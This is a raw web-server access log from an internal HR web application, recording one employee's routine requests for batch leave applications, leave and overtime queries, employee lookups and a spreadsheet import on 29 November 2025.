"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5651 192.168.12.53 - - [29/Nov/2025:16:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5349 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5349 192.168.12.53 - - [29/Nov/2025:16:40:36 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:36 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.12.53 - - [29/Nov/2025:16:40:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:40:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.12.53 - - [29/Nov/2025:16:41:08 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:08 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291 HTTP/1.1" 200 5264 192.168.12.53 - - [29/Nov/2025:16:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291 HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:41:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 7361 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9264014236499291" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 7361 192.168.12.53 - - [29/Nov/2025:16:41:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:41:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132631%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132631&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132631%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132631&target=iframe HTTP/1.1" 200 3251 192.168.12.53 - - [29/Nov/2025:16:41:22 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132631%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132631&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:22 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 192.168.12.53 - - [29/Nov/2025:16:41:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44930 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44930 192.168.12.53 - - [29/Nov/2025:16:41:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 192.168.12.53 - - [29/Nov/2025:16:41:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44733 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:41:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44733 192.168.12.53 - - [29/Nov/2025:16:43:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:43:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5173050672505234 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5173050672505234 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:43:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5173050672505234 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5173050672505234" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5173050672505234 HTTP/1.1" 200 18796 192.168.12.53 - - [29/Nov/2025:16:43:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.53 - - [29/Nov/2025:16:43:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.53 - - [29/Nov/2025:16:43:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 130933 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 130933 192.168.12.53 - - [29/Nov/2025:16:43:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120292 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120292 HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:43:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120292+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:43:59 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120292+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.12.53 - - [29/Nov/2025:16:44:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:44:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.580649793694428 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.580649793694428 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:44:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.580649793694428 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.580649793694428" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.580649793694428 HTTP/1.1" 200 18796 192.168.12.53 - - [29/Nov/2025:16:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.53 - - [29/Nov/2025:16:44:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:44:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3327963535639541 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3327963535639541 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:44:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3327963535639541 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3327963535639541" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:44:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3327963535639541 HTTP/1.1" 200 18796 192.168.12.53 - - [29/Nov/2025:16:45:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.53 - - [29/Nov/2025:16:45:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:45:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9273878945221826 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9273878945221826 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:45:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9273878945221826 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9273878945221826" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9273878945221826 HTTP/1.1" 200 18796 192.168.12.53 - - [29/Nov/2025:16:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.53 - - [29/Nov/2025:16:45:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.53 - - [29/Nov/2025:16:45:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 133455 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:45:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 133455 100.64.0.1 - - [29/Nov/2025:16:45:47 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [29/Nov/2025:16:45:47 +0800] "GET / HTTP/1.1" 200 439 192.168.12.53 - - [29/Nov/2025:16:46:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:46:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.53 - - [29/Nov/2025:16:46:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42880 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:46:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42880 100.64.0.1 - - [29/Nov/2025:16:53:08 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [29/Nov/2025:16:53:08 +0800] "GET / HTTP/1.1" 200 439 192.168.12.53 - - [29/Nov/2025:16:53:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 228975 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:53:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 228975 192.168.12.53 - - [29/Nov/2025:16:54:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44082 